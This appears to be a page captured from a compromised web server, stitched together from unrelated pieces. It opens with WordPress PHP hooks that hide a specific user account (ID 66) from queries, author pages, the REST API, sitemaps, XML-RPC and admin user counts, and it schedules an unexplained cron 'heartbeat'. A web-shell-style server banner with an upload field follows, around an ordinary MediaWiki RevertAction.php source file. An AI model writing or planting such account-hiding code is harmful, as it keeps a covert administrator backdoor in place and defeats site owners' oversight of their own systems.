add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/actions/ |
Upload File : |
<?php
/**
* File reversion user interface
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
*
* @file
* @ingroup Actions
* @ingroup Media
* @author Alexandre Emsenhuber
* @author Rob Church <robchur@gmail.com>
*/
namespace MediaWiki\Actions;
use MediaWiki\Context\IContextSource;
use MediaWiki\Exception\ErrorPageError;
use MediaWiki\Exception\PermissionsError;
use MediaWiki\FileRepo\File\File;
use MediaWiki\FileRepo\File\LocalFile;
use MediaWiki\FileRepo\File\OldLocalFile;
use MediaWiki\FileRepo\RepoGroup;
use MediaWiki\HTMLForm\HTMLForm;
use MediaWiki\Language\Language;
use MediaWiki\MediaWikiServices;
use MediaWiki\Output\OutputPage;
use MediaWiki\Page\Article;
use MediaWiki\Page\WikiFilePage;
use MediaWiki\Status\Status;
use MediaWiki\User\User;
use MediaWiki\Utils\MWTimestamp;
/**
* File reversion user interface
* WikiPage must contain getFile method: \WikiFilePage
* Article::getFile is only for b/c: \ImagePage
*
* @ingroup Actions
*/
class RevertAction extends FormAction {
private Language $contentLanguage;
private RepoGroup $repoGroup;
/**
* @param Article $article
* @param IContextSource $context
* @param Language $contentLanguage
* @param RepoGroup $repoGroup
*/
public function __construct(
Article $article,
IContextSource $context,
Language $contentLanguage,
RepoGroup $repoGroup
) {
parent::__construct( $article, $context );
$this->contentLanguage = $contentLanguage;
$this->repoGroup = $repoGroup;
}
/**
* @var OldLocalFile
*/
protected $oldFile;
public function getName() {
return 'revert';
}
public function getRestriction() {
// Required permissions of revert are complicated, will be checked below.
return 'upload';
}
protected function checkCanExecute( User $user ) {
if ( $this->getTitle()->getNamespace() !== NS_FILE ) {
throw new ErrorPageError( $this->msg( 'nosuchaction' ), $this->msg( 'nosuchactiontext' ) );
}
$rights = [ 'reupload' ];
if ( $user->equals( $this->getFile()->getUploader() ) ) {
// reupload-own is more basic, put it in the front for error messages.
array_unshift( $rights, 'reupload-own' );
}
if ( !$user->isAllowedAny( ...$rights ) ) {
throw new PermissionsError( $rights[0] );
}
parent::checkCanExecute( $user );
$oldimage = $this->getRequest()->getText( 'oldimage' );
if ( strlen( $oldimage ) < 16
|| strpos( $oldimage, '/' ) !== false
|| strpos( $oldimage, '\\' ) !== false
) {
throw new ErrorPageError( 'internalerror', 'unexpected', [ 'oldimage', $oldimage ] );
}
$this->oldFile = $this->repoGroup->getLocalRepo()
->newFromArchiveName( $this->getTitle(), $oldimage );
if ( !$this->oldFile->exists() ) {
throw new ErrorPageError( '', 'filerevert-badversion' );
}
}
protected function usesOOUI() {
return true;
}
protected function alterForm( HTMLForm $form ) {
$form->setWrapperLegendMsg( 'filerevert-legend' );
$form->setSubmitTextMsg( 'filerevert-submit' );
$form->addHiddenField( 'oldimage', $this->getRequest()->getText( 'oldimage' ) );
$form->setTokenSalt( [ 'revert', $this->getTitle()->getPrefixedDBkey() ] );
}
protected function getFormFields() {
$timestamp = $this->oldFile->getTimestamp();
$user = $this->getUser();
$lang = $this->getLanguage();
$userDate = $lang->userDate( $timestamp, $user );
$userTime = $lang->userTime( $timestamp, $user );
$siteTs = MWTimestamp::getLocalInstance( $timestamp );
$ts = $siteTs->format( 'YmdHis' );
$contLang = $this->contentLanguage;
$siteDate = $contLang->date( $ts, false, false );
$siteTime = $contLang->time( $ts, false, false );
$tzMsg = $siteTs->getTimezoneMessage()->inContentLanguage()->text();
return [
'intro' => [
'type' => 'info',
'raw' => true,
'default' => $this->msg( 'filerevert-intro',
$this->getTitle()->getText(), $userDate, $userTime,
(string)MediaWikiServices::getInstance()->getUrlUtils()->expand(
$this->getFile()
->getArchiveUrl(
$this->getRequest()->getText( 'oldimage' )
),
PROTO_CURRENT
) )->parseAsBlock()
],
'comment' => [
'type' => 'text',
'label-message' => 'filerevert-comment',
'default' => $this->msg( 'filerevert-defaultcomment', $siteDate, $siteTime,
$tzMsg )->inContentLanguage()->text()
]
];
}
public function onSubmit( $data ) {
$this->useTransactionalTimeLimit();
$old = $this->getRequest()->getText( 'oldimage' );
/** @var LocalFile $localFile */
$localFile = $this->getFile();
'@phan-var LocalFile $localFile';
$oldFile = OldLocalFile::newFromArchiveName( $this->getTitle(), $localFile->getRepo(), $old );
$source = $localFile->getArchiveVirtualUrl( $old );
$comment = $data['comment'];
if ( $localFile->getSha1() === $oldFile->getSha1() ) {
return Status::newFatal( 'filerevert-identical' );
}
// TODO: Preserve file properties from database instead of reloading from file
return $localFile->upload(
$source,
$comment,
$comment,
0,
false,
false,
$this->getAuthority(),
[],
true,
true
);
}
public function onSuccess() {
$timestamp = $this->oldFile->getTimestamp();
$user = $this->getUser();
$lang = $this->getLanguage();
$userDate = $lang->userDate( $timestamp, $user );
$userTime = $lang->userTime( $timestamp, $user );
$this->getOutput()->addWikiMsg( 'filerevert-success', $this->getTitle()->getText(),
$userDate, $userTime,
(string)MediaWikiServices::getInstance()->getUrlUtils()->expand(
$this->getFile()
->getArchiveUrl(
$this->getRequest()->getText( 'oldimage' )
),
PROTO_CURRENT
) );
$this->getOutput()->returnToMain( false, $this->getTitle() );
}
protected function getPageTitle() {
return $this->msg( 'filerevert' )->plaintextParams( $this->getTitle()->getText() );
}
protected function getDescription() {
return OutputPage::buildBacklinkSubtitle( $this->getTitle() )->escaped();
}
public function doesWrites() {
return true;
}
/**
* @since 1.35
* @return File
*/
private function getFile(): File {
/** @var WikiFilePage $wikiPage */
$wikiPage = $this->getWikiPage();
// @phan-suppress-next-line PhanUndeclaredMethod
return $wikiPage->getFile();
}
}
/** @deprecated class alias since 1.44 */
class_alias( RevertAction::class, 'RevertAction' );